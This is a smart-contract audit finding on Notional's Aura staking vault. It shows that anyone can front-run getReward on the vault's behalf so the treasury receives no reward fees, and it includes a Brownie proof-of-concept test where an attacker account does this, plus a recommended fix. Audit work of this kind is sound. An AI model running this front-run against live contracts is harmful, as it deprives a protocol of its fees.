Malicious Users Can Deny Notional Treasury From Receiving Fee
Malicious users can deny Notional Treasury from receiving fees when rewards are reinvested.\\nThe `claimRewardTokens` function will harvest the reward tokens from the Aura Pool, and the reward tokens will be transferred to the Balancer Vault. At lines 77-78, a portion of the reward tokens would be sent to the `FEE_RECEIVER`. After clarifying with the sponsor, it was understood that the `FEE_RECEIVER` would be set to Notional Treasury so that it would receive some of the accrued reward tokens.\\n```\\nFile: AuraStakingMixin.sol\\n    function claimRewardTokens() external returns (uint256[] memory claimedBalances) {\\n        uint16 feePercentage = BalancerVaultStorage.getStrategyVaultSettings().feePercentage;\\n        IERC20[] memory rewardTokens = _rewardTokens();\\n\\n        uint256 numRewardTokens = rewardTokens.length;\\n\\n        claimedBalances = new uint256[](numRewardTokens);\\n        for (uint256 i; i < numRewardTokens; i++) {\\n            claimedBalances[i] = rewardTokens[i].balanceOf(address(this));\\n        }\\n\\n        AURA_REWARD_POOL.getReward(address(this), true);\\n        for (uint256 i; i < numRewardTokens; i++) {\\n            claimedBalances[i] = rewardTokens[i].balanceOf(address(this)) - claimedBalances[i];\\n\\n            if (claimedBalances[i] > 0 && feePercentage != 0 && FEE_RECEIVER != address(0)) {\\n                uint256 feeAmount = claimedBalances[i] * feePercentage / BalancerConstants.VAULT_PERCENT_BASIS;\\n                rewardTokens[i].checkTransfer(FEE_RECEIVER, feeAmount);\\n                claimedBalances[i] -= feeAmount;\\n            }\\n        }\\n\\n        emit BalancerEvents.ClaimedRewardTokens(rewardTokens, claimedBalances);\\n    }\\n```\\n\\nWithin the `claimRewardTokens` function, it will call the `AURA_REWARD_POOL.getReward` to harvest the reward tokens. Within the `claimRewardTokens` function, it also uses the pre-balance and post-balance of the reward tokens to check the actual amount of reward tokens that are transferred into the vault.\\nHowever, the issue is that anyone can claim reward tokens from Aura Pool on behalf of any address. Following is the implementation of the `getReward` function taken from Aura's BaseRewardPool4626 contract called by the vault for reference.\\n```\\n/**\\n * @dev Gives a staker their rewards, with the option of claiming extra rewards\\n * @param _account     Account for which to claim\\n * @param _claimExtras Get the child rewards too?\\n */\\nfunction getReward(address _account, bool _claimExtras) public updateReward(_account) returns(bool){\\n    uint256 reward = earned(_account);\\n    if (reward > 0) {\\n        rewards[_account] = 0;\\n        rewardToken.safeTransfer(_account, reward);\\n        IDeposit(operator).rewardClaimed(pid, _account, reward);\\n        emit RewardPaid(_account, reward);\\n    }\\n\\n    //also get rewards from linked rewards\\n    if(_claimExtras){\\n        for(uint i=0; i < extraRewards.length; i++){\\n            IRewards(extraRewards[i]).getReward(_account);\\n        }\\n    }\\n    return true;\\n}\\n\\nmodifier updateReward(address account) {\\n    rewardPerTokenStored = rewardPerToken();\\n    lastUpdateTime = lastTimeRewardApplicable();\\n    if (account != address(0)) {\\n        rewards[account] = earned(account);\\n        userRewardPerTokenPaid[account] = rewardPerTokenStored;\\n    }\\n    _;\\n}\\n\\nfunction earned(address account) public view returns (uint256) {\\n    return\\n        balanceOf(account)\\n            .mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))\\n            .div(1e18)\\n            .add(rewards[account]);\\n}\\n```\\n\\nAssume that a malicious user front runs a call to claim rewards tokens. When a keeper calls the `AURA_REWARD_POOL.getReward` to harvest the reward tokens, it will return no reward tokens, and therefore the difference between the pre-balance and post-balance of the reward tokens will amount to zero. Therefore, no reward tokens will be sent to the `FEE_RECEIVER` (Notional Treasury) as a fee.\\nProof-of-Concept\\nThe `test_claim_rewards_success` test case shows that under normal circumstances, the Notional treasury will receive a portion of the accrued BAL and AURA as fees.\\nThe `test_claim_rewards_success_frontrun` test case shows that if the `getReward` is front-run by an attacker, the Notional treasury will receive nothing.\\nThe following is the test script and its result.\\n```\\nimport pytest\\nfrom brownie import ZERO_ADDRESS, Wei, accounts, interface\\nfrom tests.fixtures import *\\nfrom tests.balancer.helpers import enterMaturity, get_metastable_amounts\\nfrom scripts.common import get_univ3_single_data, get_univ3_batch_data, DEX_ID, TRADE_TYPE\\n\\nchain = Chain()\\n\\ndef test_claim_rewards_success(StratStableETHstETH):\\n    (env, vault) = StratStableETHstETH\\n    primaryBorrowAmount = 100e8\\n    depositAmount = 50e18\\n    enterMaturity(env, vault, 1, 0, depositAmount, primaryBorrowAmount, accounts[0])\\n    chain.sleep(3600 * 24 * 365)\\n    chain.mine()\\n    feeReceiver = vault.getStrategyContext()["baseStrategy"]["feeReceiver"]\\n    feePercentage = vault.getStrategyContext()["baseStrategy"]["vaultSettings"]["feePercentage"] / 1e2\\n    assert env.tokens["BAL"].balanceOf(vault.address) == 0\\n    assert env.tokens["AURA"].balanceOf(vault.address) == 0\\n    assert env.tokens["BAL"].balanceOf(feeReceiver) == 0\\n    assert env.tokens["AURA"].balanceOf(feeReceiver) == 0\\n\\n    vault.claimRewardTokens({"from": accounts[1]})\\n\\n    # Test that the fee receiver received portion of the rewards as fee\\n    assert env.tokens["BAL"].balanceOf(feeReceiver) > 0\\n    assert env.tokens["AURA"].balanceOf(feeReceiver) > 0\\n\\ndef test_claim_rewards_success_frontrun(StratStableETHstETH):\\n    (env, vault) = StratStableETHstETH\\n    primaryBorrowAmount = 100e8\\n    depositAmount = 50e18\\n    enterMaturity(env, vault, 1, 0, depositAmount, primaryBorrowAmount, accounts[0])\\n    chain.sleep(3600 * 24 * 365)\\n    chain.mine()\\n    feeReceiver = vault.getStrategyContext()["baseStrategy"]["feeReceiver"]\\n    feePercentage = vault.getStrategyContext()["baseStrategy"]["vaultSettings"]["feePercentage"] / 1e2\\n    assert env.tokens["BAL"].balanceOf(vault.address) == 0\\n    assert env.tokens["AURA"].balanceOf(vault.address) == 0\\n    assert env.tokens["BAL"].balanceOf(feeReceiver) == 0\\n    assert env.tokens["AURA"].balanceOf(feeReceiver) == 0\\n\\n    auraPool = interface.IAuraRewardPool(vault.getStrategyContext()["stakingContext"]["auraRewardPool"])\\n    auraPool.getReward(vault.address, True, {"from": accounts[5]}) # Attacker frontrun the getReward\\n    vault.claimRewardTokens({"from": accounts[1]})\\n\\n    # Test that the fee receiver received nothing due the frontrunning\\n    assert env.tokens["BAL"].balanceOf(feeReceiver) == 0\\n    assert env.tokens["AURA"].balanceOf(feeReceiver) == 0\\n```\\n\\n```\\n❯ brownie test tests/balancer/rewards/test_rewards_stable_eth_steth.py --network mainnet-fork\\nBrownie v1.18.1 - Python development framework for Ethereum\\n\\n=============================================================================================== test session starts ===============================================================================================\\nplatform linux -- Python 3.8.10, pytest-6.2.5, py-1.11.0, pluggy-1.0.0\\nplugins: eth-brownie-1.18.1, hypothesis-6.27.3, forked-1.4.0, xdist-1.34.0, web3-5.27.0\\ncollected 2 items                                                                                                                                                                                                 \\nAttached to local RPC client listening at '127.0.0.1:8545'// rest of code\\n\\ntests/balancer/rewards/test_rewards_stable_eth_steth.py ..                                                                                                                                                  [100%]\\n\\n========================================================================================== 2 passed, 1 warning in 5.72s ===========================================================================================\\n```\\n
It is recommended not to use the pre-balance and post-balance of the reward tokens when claiming reward tokens. A more robust internal accounting scheme needs to be implemented to keep track of actual reward tokens received from the pool so that the appropriate amount of the accrued reward tokens can be sent to the Notional Treasury.\\nReference\\nA similar high-risk issue was found in the past audit report
Notional Treasury will not receive a portion of the accrued reward tokens as fees. Loss of assets for Notional protocol and its governance token holders.
```\\nFile: AuraStakingMixin.sol\\n    function claimRewardTokens() external returns (uint256[] memory claimedBalances) {\\n        uint16 feePercentage = BalancerVaultStorage.getStrategyVaultSettings().feePercentage;\\n        IERC20[] memory rewardTokens = _rewardTokens();\\n\\n        uint256 numRewardTokens = rewardTokens.length;\\n\\n        claimedBalances = new uint256[](numRewardTokens);\\n        for (uint256 i; i < numRewardTokens; i++) {\\n            claimedBalances[i] = rewardTokens[i].balanceOf(address(this));\\n        }\\n\\n        AURA_REWARD_POOL.getReward(address(this), true);\\n        for (uint256 i; i < numRewardTokens; i++) {\\n            claimedBalances[i] = rewardTokens[i].balanceOf(address(this)) - claimedBalances[i];\\n\\n            if (claimedBalances[i] > 0 && feePercentage != 0 && FEE_RECEIVER != address(0)) {\\n                uint256 feeAmount = claimedBalances[i] * feePercentage / BalancerConstants.VAULT_PERCENT_BASIS;\\n                rewardTokens[i].checkTransfer(FEE_RECEIVER, feeAmount);\\n                claimedBalances[i] -= feeAmount;\\n            }\\n        }\\n\\n        emit BalancerEvents.ClaimedRewardTokens(rewardTokens, claimedBalances);\\n    }\\n```\\n